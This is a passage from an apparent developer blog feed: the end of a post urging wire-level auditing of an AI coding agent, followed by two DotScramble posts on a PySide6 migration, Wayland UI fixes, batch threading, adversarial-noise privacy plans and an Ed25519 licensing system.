Run it with docker compose run --rm grok-build, and pair the HTTPS_PROXY line with the mitmproxy setup from step 1 above so every session gets wire-audited by default, not just when you remember to check. Bump the pinned version deliberately, not automatically — that's the only way you'll know if a future release changes what crosses the wire.

The common thread: don't audit these tools by reading their settings page. Audit them by watching the wire and constraining the sandbox, because — as this story shows — the two aren't guaranteed to agree.

The Bigger Lesson

Every cloud-based coding agent has to send some code somewhere — that part isn't the scandal. The problem is the gap between what a settings page promises and what actually leaves your machine at the wire level. A toggle labeled "Improve the model" implies control over data use. It didn't stop a background process from mirroring an entire repository — secrets and history included — to a bucket that was never mentioned anywhere in onboarding.

Before pointing any AI coding agent at a codebase you can't afford to leak, it's worth checking what actually crosses the wire, not just what the settings page claims. In 2026, that's not paranoia — it's due diligence.

One closing note on that "straight answer": xAI's public response so far — ZDR for enterprise, /privacy for everyone else — is a real step, but it's a statement on X, not a security advisory, and it doesn't change what happens by default the first time someone runs the tool without knowing to flip that setting. Worth watching whether anything more formal follows.

Have you run Grok Build against a real project? Curious whether anyone's gotten a straight answer from xAI support on retention — drop it in the comments.

Sources & Further Reading

Building DotScramble Part 3: Wayland Wars, a Custom File Picker, and Designing AI Evasion

freerave — Fri, 10 Jul 2026 18:08:17 +0000

From a PyQt6 license crisis to a fully animated PySide6 file browser that doesn't explode on Wayland — plus non-blocking batch processing and designing AI evasion.

Series recap: DotScramble is a desktop privacy tool that blurs, pixelates, and redacts sensitive regions in images. Part 1 covered the core image processing pipeline. Part 2 covered the licensing system using Ed25519 asymmetric signing. This post covers what happened when I tried to make the UI actually good.

The Crisis I Didn't See Coming

I was sitting with two projects — DotScramble and DotGhostBoard — both shipping under Apache 2.0. I had already migrated both once before, from Tkinter to PyQt6, and that migration wasn't optional — three things made Tkinter untenable:

Broken RTL rendering — Arabic letters showed up disconnected and reversed. Tkinter's text engine has no real bidi support, and there's no clean fix for it.
No real Wayland support — once distros stopped defaulting to X11, window geometry, focus handling, and basic resize behavior in Tkinter became unreliable.
Weak drag-and-drop — Tkinter's native DnD is limited and inconsistent across platforms. Dropping a file onto the canvas was a coin flip whether it registered.

PyQt6 fixed all three. Here's the same Controls panel in both: Tkinter on the right, PySide6 (the version that came later, more on that below) on the left.

So, both projects were now using PyQt6 for the GUI layer. That migration solved the immediate problems. It also planted the seed for a different crisis entirely.

Then I read the license again.

PyQt6 → GPL v3 (copyleft)
Apache 2.0 → permissive

GPL v3 + Apache 2.0 = 💥 license conflict

GPL v3 is copyleft. That means any project that uses PyQt6 must also be GPL v3. Apache 2.0 has different distribution requirements. You can't ship both at once — they're incompatible.

My options:

Option	Trade-off
Switch to GPL v3	Lose permissive licensing flexibility
Dual license	Complicates contribution model
Migrate to PySide6	LGPL v3 — compatible with Apache 2.0 ✅

PySide6 is the official Qt binding maintained by The Qt Company itself. LGPL v3 means closed-source and commercial use is fine as long as you dynamically link. For a desktop app, that's basically free.

The API difference turned out to be mostly naming:

# PyQt6
from PyQt6.QtCore import pyqtSignal, pyqtSlot
my_signal = pyqtSignal(str)

# PySide6
from PySide6.QtCore import Signal, Slot
my_signal = Signal(str)

The bigger gotcha is strict enums. PyQt6 enforces them everywhere. PySide6 is more lenient — which means some PyQt6 code actually runs stricter than PySide6, so migrating in that direction has fewer surprises than going the other way.

Two projects, about two hours each. Migration done.

The Wayland Window Snap Problem

Once I was on PySide6, I ran into the window management issue I'd been avoiding: snap doesn't work properly on Wayland.

Chromium snaps fine. My Qt app doesn't. Here's why that's not a fair comparison — Chromium uses its own window management layer entirely. Qt apps on Wayland communicate through the compositor protocol, and there are three separate issues hiding inside "snap is broken":

Problem 1: `setMaximumWidth` on the sidebar kills snap layouts

When the window is snapped to half-screen (~700px), the sidebar demands 350px and leaves the canvas only 330px. The fix is giving it a smaller ceiling:

# Before
self.scroll_area.setMinimumWidth(350)
self.scroll_area.setMaximumWidth(450)  # too rigid

# After
self.scroll_area.setMinimumWidth(260)
self.scroll_area.setMaximumWidth(400)

Problem 2: Canvas resize fires hundreds of times during snap animation

ImageCanvas.resizeEvent calls display_image() on every frame of the snap animation, causing visible flicker. The fix is a debounce timer:

# In __init__
self._resize_timer = QTimer()
self._resize_timer.setSingleShot(True)
self._resize_timer.timeout.connect(self._do_canvas_resize)

def on_canvas_resize(self):
    self._resize_timer.start(60)  # 60ms debounce

def _do_canvas_resize(self):
    if self.processed_image is not None:
        self.display_image(self.processed_image)
    elif self.original_image is not None:
        self.display_image(self.original_image)
    else:
        self.canvas.update()

Problem 3: `restore_window_state` on Wayland

Window geometry on Wayland isn't available until after the window is actually shown. Calling resize() and move() in __init__ does nothing reliable. The fix is to delay restoration:

def showEvent(self, event):
    super().showEvent(event)
    if not hasattr(self, '_state_restored'):
        self._state_restored = True
        self.restore_window_state()
        self.restore_user_settings()

Also save and restore the splitter state across sessions:

# on close
self.db_manager.save_setting(
    'splitter_state',
    self.splitter.saveState().toHex().data().decode(),
    'window'
)

# on restore
splitter_bytes = self.db_manager.get_setting('splitter_state')
if splitter_bytes:
    from PySide6.QtCore import QByteArray
    self.splitter.restoreState(QByteArray.fromHex(splitter_bytes.encode()))

Note: The KDE/GNOME snap grid that appears when hovering the maximize button is a compositor feature, not something Qt apps can opt into. Meta + arrow key is your friend here.

Replacing the Native File Dialog

The file picker looked like this:

GTK. White. On a dark cyberpunk app. No.

The typical fix is QFileDialog.Option.DontUseNativeDialog — but that gives you the Qt default dialog, which also ignores your stylesheet. I wanted something that actually fits.

So I built one from scratch.

The design

┌─ 📷 Select Image ─────────────── [🔍 Filter] [✕] ─┐
├───────────────────────────────────────────────────────┤
│ QUICK ACCESS  │ Home › Pictures          │  Preview  │
│               │ ┌────┐ ┌────┐ ┌────┐    │  [image]  │
│ 🏠 Home       │ │img │ │img │ │img │    │           │
│ 🖼️ Pictures   │ └────┘ └────┘ └────┘    │  file.jpg │
│ ⬇️ Downloads  │ ┌────┐ ┌────┐           │  1920×1080│
│ 🖥️ Desktop    │ │📁  │ │img │           │  2.3 MB   │
│               │ └────┘ └────┘           │           │
├───────────────────────────────────────────────────────┤
│ /home/kareem/Pictures          [Cancel]    [ Open ]  │
└───────────────────────────────────────────────────────┘

Three animations:

Dialog opens with a fade-in
File tiles appear with a staggered cascade (each 18ms apart)
Preview panel slides in from the right when you select an image

The Wayland painter trap

My first implementation used QGraphicsOpacityEffect for the tile animations. On Linux, the terminal filled up with this:

QPainter::begin: A paint device can only be painted by one painter at a time.
QWidgetEffectSourcePrivate::pixmap: Painter not active
QPainter::save: Painter not active
...

Hundreds of lines. The dialog still opened, but something was clearly wrong.

Here's what happens: when you put a QGraphicsOpacityEffect on a widget that has a custom paintEvent, Qt's effect pipeline tries to grab the widget's pixels using an internal painter — while your paintEvent is already holding a painter on the same device. On Wayland, this conflict is loud.

The fix: don't use QGraphicsOpacityEffect on widgets with custom paint. Instead, expose opacity as a Property and apply it directly inside the painter:

class FileTile(QWidget):
    # ── opacity as animatable property ─────────────────────────
    def _get_tile_opacity(self): return self._tile_opacity
    def _set_tile_opacity(self, v):
        self._tile_opacity = max(0.0, min(1.0, v))
        self.update()
    tile_opacity = Property(float, _get_tile_opacity, _set_tile_opacity)

    def paintEvent(self, _):
        p = QPainter(self)
        p.setRenderHint(QPainter.RenderHint.Antialiasing)
        # Single painter, opacity baked in — no effect pipeline
        p.setOpacity(self._tile_opacity)
        # ... rest of paint

And in the grid loader, staggered reveal without effects:

for i, tile in enumerate(self._tiles):
    tile._tile_opacity = 0.0
    def _fade(t=tile):
        a = QPropertyAnimation(t, b'tile_opacity', t)
        a.setDuration(200)
        a.setStartValue(0.0)
        a.setEndValue(1.0)
        a.setEasingCurve(QEasingCurve.Type.OutCubic)
        a.start()
        t._reveal_anim = a  # keep ref — GC would kill it otherwise
    QTimer.singleShot(min(i * 18, 300), _fade)

The t._reveal_anim = a line is important. If you don't keep a reference to the QPropertyAnimation, Python's garbage collector kills it mid-animation and the tile stays frozen at whatever opacity it reached.

The dialog open animation on Wayland

QGraphicsOpacityEffect on the container had the same painter conflict. The solution is setWindowOpacity() — compositor-level, no painter involved:

# But first, check if the platform supports it
import os
_is_wayland = (
    os.environ.get('WAYLAND_DISPLAY') is not None or
    QApplication.platformName() == 'wayland'
)

if not _is_wayland:
    self.setWindowOpacity(0.0)
    anim = QPropertyAnimation(self, b'windowOpacity', self)
    anim.setDuration(220)
    anim.setStartValue(0.0)
    anim.setEndValue(1.0)
    anim.setEasingCurve(QEasingCurve.Type.OutCubic)
    anim.start()

Wayland compositors spam This plugin does not support setting window opacity to the terminal otherwise. The dialog appears instantly on Wayland — acceptable behavior.

The `QScrollArea` double-delete crash

First run:

RuntimeError: libshiboken: Internal C++ object (QWidget) already deleted.

In _load_grid() I was doing:

old = self.grid_widget
self.grid_widget = QWidget()
self.scroll.setWidget(self.grid_widget)
old.deleteLater()  # 💥 Qt already deleted it

From Qt docs: "The widget becomes a child of the scroll area, and will be **destroyed* when a new widget is set."*

setWidget() already deletes the old widget. Calling deleteLater() on an already-deleted C++ object is a crash. The fix: remove those two lines entirely.

Cross-platform bookmarks

The original sidebar was hardcoded for Linux:

BOOKMARKS = [
    ('🏠', 'Home',      str(Path.home())),
    ('🖼️', 'Pictures',  str(Path.home() / 'Pictures')),
    ('⬇️', 'Downloads', str(Path.home() / 'Downloads')),
    ('🖥️', 'Desktop',   str(Path.home() / 'Desktop')),
    ('📂', 'Root',      '/'),  # doesn't exist on Windows
]

On a French Linux system, ~/Desktop might be ~/Bureau. On Windows, C:\Users\kareem\Pictures might be somewhere else entirely. The fix uses XDG on Linux and platform-specific approaches elsewhere:

def _read_xdg_user_dirs() -> dict:
    """Parse ~/.config/user-dirs.dirs — handles localized folder names."""
    result = {}
    config = Path.home() / '.config' / 'user-dirs.dirs'
    if not config.exists():
        return result
    try:
        with open(config) as f:
            for line in f:
                line = line.strip()
                if line.startswith('#') or '=' not in line:
                    continue
                key, _, val = line.partition('=')
                key = key.replace('XDG_', '').replace('_DIR', '')
                val = val.strip().strip('"').replace('$HOME', str(Path.home()))
                if val:
                    result[key] = val
    except Exception:
        pass
    return result


def get_bookmarks() -> list[tuple[str, str, str]]:
    home  = Path.home()
    marks = [('🏠', 'Home', str(home))]

    if sys.platform == 'win32':
        # Windows drives + user folders
        import string
        candidates = [
            ('🖼️', 'Pictures',  os.environ.get('USERPROFILE', str(home)) + '\\Pictures'),
            ('⬇️', 'Downloads', str(home / 'Downloads')),
            ('🖥️', 'Desktop',   str(home / 'Desktop')),
            ('📄', 'Documents', os.environ.get('DOCUMENTS', str(home / 'Documents'))),
        ]
        for icon, label, path in candidates:
            if os.path.exists(path):
                marks.append((icon, label, path))
        for letter in string.ascii_uppercase:
            drive = f'{letter}:\\'
            if os.path.exists(drive):
                marks.append(('💾', f'{letter}:', drive))

    elif sys.platform == 'darwin':
        candidates = [
            ('🖼️', 'Pictures',  home / 'Pictures'),
            ('⬇️', 'Downloads', home / 'Downloads'),
            ('🖥️', 'Desktop',   home / 'Desktop'),
            ('📂', 'Volumes',   Path('/Volumes')),
        ]
        for icon, label, path in candidates:
            if Path(path).exists():
                marks.append((icon, label, str(path)))

    else:
        # Linux — XDG first, fallback to English names
        xdg = _read_xdg_user_dirs()
        candidates = [
            ('🖼️', 'Pictures',  xdg.get('PICTURES',  str(home / 'Pictures'))),
            ('⬇️', 'Downloads', xdg.get('DOWNLOAD',  str(home / 'Downloads'))),
            ('🖥️', 'Desktop',   xdg.get('DESKTOP',   str(home / 'Desktop'))),
            ('📄', 'Documents', xdg.get('DOCUMENTS', str(home / 'Documents'))),
            ('🎵', 'Music',     xdg.get('MUSIC',     str(home / 'Music'))),
            ('📂', 'Root',      '/'),
        ]
        for icon, label, path in candidates:
            if os.path.exists(path):
                marks.append((icon, label, path))

    return marks

Pyrefly IDE users: The win32 and darwin branches will appear dimmed/dead on Linux because Pyrefly does platform narrowing — static analysis treats unreachable-on-current-platform code as dead. The code is correct. Add _PLATFORM = sys.platform and check against that variable to suppress it, or set platform = "all" in pyrefly.toml.

Thumbnail loading

Thumbnails load in a QThreadPool so scrolling stays smooth:

class ThumbLoader(QRunnable):
    def run(self):
        try:
            from PIL import Image
            img = Image.open(self.path)
            img.thumbnail((140, 140), Image.LANCZOS)
            img  = img.convert('RGBA')
            data = img.tobytes('raw', 'RGBA')
            qimg = QImage(data, img.width, img.height,
                          QImage.Format.Format_RGBA8888)
            qimg._pil_data = data   # keep alive until QImage is done
            self.signals.done.emit(self.path, QPixmap.fromImage(qimg))
        except Exception:
            pass

Using Pillow instead of QImage directly avoids qt.gui.imageio.jpeg: Corrupt JPEG data warnings for slightly malformed JPEGs — Pillow is more lenient and the visual difference is zero.

Multithreading in Qt: Non-Blocking Batch Processing

Adding a batch processing feature poses a major UI challenge. If you try to process 100 images sequentially on the main GUI thread, the Qt event loop locks up. The application window freezes, visual elements stop repainting, and the operating system eventually prompts the user to force-close the "Not Responding" application.

To solve this, the processing must happen asynchronously in the background. But there is a catch: Qt widgets are not thread-safe. You cannot modify GUI elements (like updating a progress bar or changing a label's text) directly from a background worker thread without triggering random segfaults.

Thread-Safe Communication via Custom Signals

The standard way to bridge this gap in PySide6 is using custom Signals. Since PySide6 signals are inherently thread-safe when using a queued connection, emitting a signal from a worker thread safely marshals the event back to the main thread's event loop.

First, we define a small QObject to hold our signals:

class BatchSignals(QObject):
    """Signals for thread-safe UI updates from the processing worker thread"""
    progress = Signal(int, int, dict)
    error = Signal(str, str)
    complete = Signal()

Inside our dialog initialization, we connect these signals to the GUI update slots:

self.signals = BatchSignals()
self.signals.progress.connect(self.on_progress)
self.signals.error.connect(self.on_error)
self.signals.complete.connect(self.on_complete)

The Worker Thread Lifecycle

When the user clicks "Start", we launch a standard Python threading.Thread as a daemon thread. We pass nested callbacks that do nothing but emit our thread-safe signals:

def start_processing(self):
    # ... read UI values and settings ...
    self.processing = True
    self.update_ui_state(processing=True)

    def process_worker():
        def progress_cb(current, total, result):
            self.signals.progress.emit(current, total, result)

        def error_cb(file_path, error_msg):
            self.signals.error.emit(file_path, error_msg)

        self.batch_processor.process_batch(
            valid_files,
            output_dir,
            settings,
            progress_callback=progress_cb,
            error_callback=error_cb,
            is_cancelled=lambda: not self.processing
        )
        self.signals.complete.emit()

    thread = threading.Thread(target=process_worker, daemon=True)
    thread.start()

Graceful Cancellation and License Gating

The is_cancelled parameter passes a lambda lambda: not self.processing down to the batch loop. Inside the processing loop, BatchProcessor checks this condition on every iteration:

for i, input_path in enumerate(input_paths):
    if is_cancelled and is_cancelled():
        break  # Exit early if the user clicked "Stop"
    # ... process image ...

Additionally, because batch processing is a resource-intensive "PRO" feature, we gate the GUI. If the license manager detects that the Max tier is not activated, the window restricts input selection:

FREE_FILE_LIMIT = 3

def _is_max(self):
    return self.license_manager.is_max_activated

# When adding files:
if not self._is_max() and len(self.selected_files) > self.FREE_FILE_LIMIT:
    QMessageBox.warning(self, "Limit Reached", "Free tier is limited to 3 files.")
    # ... slice list to limit ...

This keeps the GUI perfectly responsive, gives the user real-time feedback with zero crashes, and ties in the licensing system we built in Part 2.

What's Next: Designing AI Evasion (Adversarial Perturbation)

DotScramble can now blur, pixelate, or black out sensitive regions like faces. While that visual degradation is enough to prevent a human from recognizing the subject, it turns out it is not enough for modern AI-driven facial recognition systems.

The Threat Model: AI Face Recognition

Deep learning models extract abstract feature vectors from faces. Even if a face is heavily blurred or partially pixelated, the neural network can still reconstruct or match the underlying features with surprisingly high confidence. In my tests, a blurred face run through an open-source face recognition model still yielded a cosine similarity match of over 0.7 against the original unblurred image—well above typical detection thresholds.

To achieve true privacy in the age of scraping pipelines and surveillance, DotScramble needs a second line of defense: adversarial perturbations.

Fooling the Neural Network

Adversarial machine learning involves adding a mathematically optimized, imperceptible noise pattern to an image. To a human, the image looks virtually unchanged, but to a neural network, the features are completely scrambled, leading to an incorrect classification or a failed match:

Original image + ε \times noise = Adversarial example (gibbon/unrecognized)

The Black-Box Challenge (SPSA)

Most standard adversarial attack methods (like FGSM) are "white-box" attacks—they require full access to the target model's architecture, weights, and gradients so you can perform backpropagation.

For DotScramble, we don't know what model the end-user (or scraper) will use. We need a black-box attack. To solve this, we can design an estimation engine using Simultaneous Perturbation Stochastic Approximation (SPSA). SPSA approximates gradients by evaluating the loss function at just two perturbed points per iteration, regardless of parameter count:

g^(θ) \approx \frac{L ( θ + c Δ ) - L ( θ - c Δ )}{2 c} \times Δ^{- 1}

This allows us to optimize adversarial perturbations on the fly using a local proxy model, ensuring the face remains unrecognizable to AI systems.

Bugs I Hit and What They Actually Were

Error	Looked Like	Actually Was
`RuntimeError: Internal C++ object already deleted`	Memory bug	`deleteLater()` on widget Qt already deleted via `setWidget()`
`QPainter: A paint device can only be painted by one painter at a time`	Concurrent threads	`QGraphicsOpacityEffect` + custom `paintEvent` on same widget
`This plugin does not support setting window opacity`	Qt bug	`setWindowOpacity()` not supported on Wayland compositor
`Corrupt JPEG data: 1 extraneous bytes before marker 0xd9`	Broken images	Cameras that write slightly nonstandard JPEG — images load fine
Sidebar items dimmed in IDE	Code wrong	Pyrefly platform-narrowing dead code detection

Key Takeaways

On Wayland: Don't use QGraphicsOpacityEffect on widgets with custom paintEvent. The effect pipeline creates a painter conflict. Use p.setOpacity() inside your custom paint instead.

On Qt object lifetime: QScrollArea::setWidget() destroys the previous widget. Don't call deleteLater() on it afterward. Same pattern appears in QStackedWidget, QDockWidget, and others.

On file dialogs: The native file dialog on Linux is GTK and ignores your stylesheet. Building a custom one is maybe 400 lines and gives you full control over layout, animations, and behavior — worth it for a premium feel.

On Qt multithreading: Never update GUI elements directly from a background thread; it leads to memory corruption and instant crashes. Use QObject with Signals to safely bridge communication from the worker thread to the main GUI thread.

On adversarial perturbations: Blurring or pixelating a face might fool a human, but modern neural networks can still recognize it. Adversarial noise slightly alters pixels to break the model's feature extraction while keeping the image recognizable to humans.

On black-box optimization: When you don't have access to model weights or gradients, black-box optimization algorithms like SPSA (Simultaneous Perturbation Stochastic Approximation) let you estimate gradients efficiently with just a few forward passes.

DotScramble is part of DotSuite — a collection of developer privacy tools. Part 4 covers the AI Evasion system — why blurring alone isn't enough against modern face recognition, and how SPSA black-box adversarial perturbations add a second layer of protection that works without access to any model weights.

GitHub (v1.4.1) · OpenDesktop · Ko-fi · Buy Me a Coffee

Building DotScramble Part 2: Ed25519 License Signing, Machine Fingerprinting, and a 7-Day Offline Grace Period

freerave — Sat, 27 Jun 2026 14:27:48 +0000

How DotScramble protects its Pro tier using asymmetric cryptography — public key verification, a weighted hardware fingerprint, server-side activation limits, and a background recheck thread.

Series recap: DotScramble is a desktop privacy tool that blurs, pixelates, and redacts sensitive regions in images. Part 1 covered the core image processing pipeline and metadata spoofing. This post covers the licensing system — specifically, how I built something that actually works without being trivially crackable.

The Threat Model

Before writing a single line of licensing code, I had to define what I'm actually protecting against.

Attack	Realistic?	What I'm defending against
Copy/paste the `.py` file to another machine	Very likely	Machine fingerprinting
Share one key across unlimited machines	Likely	Server-side activation limits
Modify `is_max_activated = True` in source	Trivial in Python	Cython binary compilation
Forge a license token offline	Requires private key	Ed25519 asymmetric signing
Use the app without internet forever	Easy	7-day offline grace period + background recheck
Roll back the system clock to extend a token	Clever	Clock rollback detection

The goal wasn't to make DotScramble uncrackable — determined attackers can always get around software licensing. The goal was to make it not worth the effort for casual use, while keeping it completely frictionless for legitimate users.

The Token Format

Every activated machine gets a signed license token — a compact, self-contained credential that the app can verify locally without any network call.

The format is two Base64URL segments joined by a dot:

<base64url(JSON payload)>.<base64url(Ed25519 signature)>

The payload looks like this:

{
  "mid": "a3f1b2c9d4e5f6a7b8c9d0e1f2a3b4c5",
  "name": "FreeRave",
  "plan": "max",
  "exp": 1782000000
}

mid — the machine ID (more on this below)
name — shown in the welcome message on activation
plan — "max" for Pro tier
exp — Unix timestamp when the token expires

The server signs this payload with its Ed25519 private key and sends the complete token to the client. The client verifies it using a hardcoded public key — which can only verify, never forge.

Why Ed25519 Over HMAC?

The classic alternative is HMAC-SHA256: generate a secret key, share it with the client, use it to sign tokens. The problem is obvious — if the key is in the client binary, it can be extracted and used to generate unlimited fake tokens offline.

Ed25519 solves this by design:

Private key  →  only on the server  →  signs tokens
Public key   →  hardcoded in the app  →  verifies tokens, cannot forge

Forging a valid signature without the private key requires breaking Ed25519 — computationally infeasible. The worst a reverse engineer can do with the public key is verify tokens, which is the same thing the app does.

The public key in license_manager.py:

_ED25519_PUBLIC_KEY_B64 = "DQ0zJAi1S0c+NUhOP3050au9k5/fYwLU45ayTZIFVuI="

32 bytes. That's the entire security boundary between the app and unlimited offline activation.

The Verification Function

The full verification runs locally on every startup and every activation:

def _verify_token(self, token: str) -> Tuple[bool, dict]:
    try:
        from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PublicKey
        parts = token.split(".")
        if len(parts) != 2:
            return False, {}
        payload_b64, sig_b64 = parts

        # Safe dynamic padding — prevents decoder crashes on tokens
        # with non-multiple-of-4 base64 lengths
        def _b64dec(s: str) -> bytes:
            return base64.urlsafe_b64decode(s + '=' * (-len(s) % 4))

        payload_bytes = _b64dec(payload_b64)
        sig_bytes     = _b64dec(sig_b64)

        pub_raw    = base64.b64decode(_ED25519_PUBLIC_KEY_B64)
        public_key = Ed25519PublicKey.from_public_bytes(pub_raw)
        public_key.verify(sig_bytes, payload_bytes)    # raises on invalid sig

        payload = json.loads(payload_bytes.decode())

        # Check expiry
        if payload.get("exp", 0) < time.time():
            return False, {}

        # Check machine binding
        if payload.get("mid", "") != self.generate_machine_id():
            return False, {}

        return True, payload
    except Exception:
        return False, {}

Three checks, in order:

Signature valid — Ed25519PublicKey.verify() raises an exception on any tampered payload
Not expired — server controls token lifetime via exp
Machine matches — the mid in the token must equal this machine's fingerprint

All three must pass. Fail any one, the token is rejected and the local activation is cleared.

The _b64dec padding trick: Standard Base64 requires padding to a multiple of 4 characters. URL-safe Base64 (used in JWTs and similar) often strips it. The expression '=' * (-len(s) % 4) adds exactly the right number of = characters — 0 if already padded, 1, 2, or 3 otherwise. It's a modular arithmetic trick that avoids an if/else chain.

Machine Fingerprinting

The machine ID is a 32-character hex string derived from hardware factors. It needs to be:

Stable — survive reboots, VPN changes, hostname changes
Unique enough — distinguish different machines
Cross-platform — work on Linux, Windows, macOS

@staticmethod
def generate_machine_id() -> str:
    factors: dict[str, str] = {}

    # Platform-specific hardware ID — the most stable identifier
    try:
        if platform.system() == "Linux":
            mid_path = "/etc/machine-id"
            if os.path.isfile(mid_path):
                with open(mid_path) as f:
                    factors["mid"] = f.read().strip()

        elif platform.system() == "Windows":
            import winreg
            key = winreg.OpenKey(
                winreg.HKEY_LOCAL_MACHINE,
                r"SOFTWARE\Microsoft\Cryptography"
            )
            factors["mid"] = winreg.QueryValueEx(key, "MachineGuid")[0]

        elif platform.system() == "Darwin":
            import subprocess
            out = subprocess.check_output(
                ["ioreg", "-rd1", "-c", "IOPlatformExpertDevice"],
                stderr=subprocess.DEVNULL
            )
            for line in out.decode().splitlines():
                if "IOPlatformUUID" in line:
                    factors["mid"] = line.split('"')[-2]
                    break
    except:
        pass

    # Secondary factors — used if primary is unavailable
    try:
        factors["cpu"] = str(os.cpu_count() or 0)
    except:
        pass

    factors["os"] = platform.system()

    # MAC address — only if it's real hardware, not randomized
    try:
        mac_int = _uuid.getnode()
        if not (mac_int >> 40) & 1:   # bit 40 = 1 means locally administered (randomized)
            factors["mac"] = hex(mac_int)[2:].upper().zfill(12)
    except:
        pass

    # Sort keys for determinism, hash the concatenation
    factor_str = "|".join(f"{k}:{v}" for k, v in sorted(factors.items()))
    return hashlib.sha256(factor_str.encode()).hexdigest()[:32]

The key design choices:

/etc/machine-id on Linux is written once during OS installation by systemd. It survives everything short of a full OS reinstall. It's the most stable machine identifier available on Linux.

MachineGuid on Windows is equivalent — written during OS installation, stored in the registry under HKLM\SOFTWARE\Microsoft\Cryptography.

The MAC address randomization check: Modern Linux kernels and privacy-focused configurations use MAC address randomization. Bit 40 of the MAC address is the "locally administered" bit — if it's set, the MAC was generated randomly and changes on every boot. Including a random MAC in the fingerprint would break activation after every reboot. The check (mac_int >> 40) & 1 skips it when it's randomized.

sorted(factors.items()) — dict ordering in Python 3.7+ is insertion-ordered, but explicitly sorting by key makes the fingerprint deterministic regardless of which factors are available. If /etc/machine-id is missing (e.g., in a container), the hash still produces the same result each run as long as the same secondary factors are present.

The final hash is truncated to 32 hex characters — 128 bits of machine identity, which is more than enough to distinguish machines while keeping the payload compact.

The Activation Flow

User clicks "Activate Pro"
        │
        ▼
LocalAuthManager starts an ephemeral HTTP server on 127.0.0.1:0
(port 0 = OS assigns a free port atomically — no TOCTOU race)
        │
        ▼
Browser opens: https://dotsuite.vercel.app/en/dashboard/dotscramble/auth?port=PORT&state=STATE_TOKEN
        │
        ▼
User logs in and clicks "Activate"
        │
        ▼
Web dashboard POSTs { key, state } to http://127.0.0.1:PORT/callback
        │
        ▼
AuthHandler verifies state token (CSRF protection)
        │
        ▼
LicenseManager.verify_and_activate(key) called
        │
        ▼
Server receives: POST /v1/license/activate
  Authorization: Bearer <api_key>
  Body: { "machine_id": "a3f1b2..." }
        │
        ▼
Server signs token, returns { "license_token": "...", "name": "FreeRave" }
        │
        ▼
Client verifies token locally (_verify_token)
        │
        ▼
Token + API key saved to SQLite
Background recheck thread started

The local HTTP server is a security boundary. The web dashboard can't directly call Python functions — it goes through an HTTP POST, which lets us:

Validate the CSRF state token (prevents any other page from activating on behalf of the user)
Cap the payload size at 4096 bytes (prevents local OOM DoS)
Use secrets.compare_digest() for the state token comparison (constant-time, prevents timing attacks)

def verify_state(self, state):
    if not state or not self.state_token:
        return False
    return secrets.compare_digest(state, self.state_token)

secrets.compare_digest() is not paranoia here — the state token arrives over localhost HTTP, and comparing strings with == leaks timing information about how many characters match before the first mismatch. For a 32-character random token, this isn't a practical attack, but it's the correct primitive and costs nothing.

Storing the Token

Once verified, three values are written to SQLite:

self.db_manager.save_setting("dotsuite_api_key", api_key, "license")
self.db_manager.save_setting("license_token",    token,   "license")
self.db_manager.save_setting("is_max_activated", True,    "license")
self.db_manager.save_setting("last_license_check_time", time.time(), "license")

The database uses INSERT OR REPLACE (upsert) with a setting_type column so license settings can be queried or cleared as a group.

On the next startup, the manager reads the cached token and re-verifies it locally — no network required:

if self._license_token:
    last_verified = float(self.db_manager.get_setting("last_license_check_time", 0.0))
    current_time  = time.time()

    # Clock rollback detection
    if current_time < last_verified:
        self.logger.error("System clock rollback detected on startup!")
        self._clear_local()
    else:
        valid, _ = self._verify_token(self._license_token)
        if valid:
            self._is_max = True
            self.db_manager.save_setting("last_license_check_time", current_time, "license")
            self._schedule_background_recheck()
        else:
            self._clear_local()

The clock rollback check is subtle. If a user sets their system clock back before the token expiry date, local verification would still pass (the token isn't expired from the perspective of the past timestamp). Storing last_license_check_time and comparing against time.time() catches this — if the current time is before the last check time, something is wrong.

The Background Recheck Thread

Local verification is fast and works offline, but it can't detect revoked keys. A key that was refunded, chargebacked, or explicitly revoked would still pass local verification until its token expires.

The solution: a daemon thread that re-checks with the server every 24 hours.

def _schedule_background_recheck(self):
    self.stop_recheck_event.clear()
    t = threading.Thread(
        target=self._recheck_loop,
        daemon=True,
        name="license-recheck"
    )
    t.start()

def _recheck_loop(self):
    while not self.stop_recheck_event.is_set():
        # Wait 24 hours, or until stopped
        is_stopped = self.stop_recheck_event.wait(_RECHECK_HOURS * 3600)
        if is_stopped or self.stop_recheck_event.is_set():
            break
        self._silent_recheck()

Using Event.wait(timeout) instead of time.sleep() means the thread can be cleanly interrupted on deactivation or app close — stop_recheck_event.set() wakes it immediately.

The recheck itself is silent:

def _silent_recheck(self):
    with self.lock:
        if not self._is_max:
            return
        current_key = self._api_key
    try:
        machine_id    = self.generate_machine_id()
        payload_bytes = json.dumps({"machine_id": machine_id}).encode()
        req = urllib.request.Request(
            _RECHECK_URL, data=payload_bytes,
            headers={
                "Authorization": f"Bearer {current_key}",
                "Content-Type": "application/json"
            }
        )
        with urllib.request.urlopen(req, timeout=10) as resp:
            data      = json.loads(resp.read().decode())
            new_token = data.get("license_token", "")

        valid, _ = self._verify_token(new_token)
        if valid:
            # Refresh the cached token
            with self.lock:
                self._license_token = new_token
            self.db_manager.save_setting("license_token", new_token, "license")
            self.db_manager.save_setting("last_license_check_time", time.time(), "license")
        else:
            self._clear_local()   # Token failed — deactivate silently

    except urllib.error.HTTPError as e:
        if e.code in (401, 403, 404):
            self._clear_local()   # Key revoked — deactivate silently
        # Other errors (500, network timeout) — do nothing, try again next cycle

    except:
        pass   # Offline — grace period continues

The error handling is intentional:

401/403/404 — the server explicitly rejected the key (revoked, deleted, or not found). Deactivate immediately.
5xx / timeout / no network — server might be temporarily down. Don't deactivate. The user has 7 days of offline grace before the token expires.
Any other exception — same as above, fail open.

This gives legitimate users a 7-day offline window while still detecting revoked keys as soon as connectivity is restored.

The `is_max_activated` Property

Every feature gate in the UI calls this single property:

@property
def is_max_activated(self) -> bool:
    # Extremely fast in-memory query
    # prevents frame drops in preview sliders
    with self.lock:
        return self._is_max

This is intentionally the simplest possible thing. No token re-verification, no database reads, no disk I/O — just a boolean behind a mutex. The reasoning: this property is called on every frame of the real-time preview slider. Token re-verification takes 0.5–2ms (cryptographic operation). At 60fps, that's up to 120ms/second of crypto overhead — enough to cause visible stuttering.

The heavy verification happens once on startup and once per recheck cycle, then the result is cached in memory.

Where it's used in main_window.py:

# Feature gating at detection mode switch
def on_detection_change(self):
    mode = self.detection_mode.get()
    pro_only_modes = ['target_text', 'text', 'body', 'license_plate']

    if mode in pro_only_modes and not self.license_manager.is_max_activated:
        QMessageBox.information(
            self,
            "Pro Feature",
            f"The '{mode_display}' detection mode is a Pro feature.\n\n"
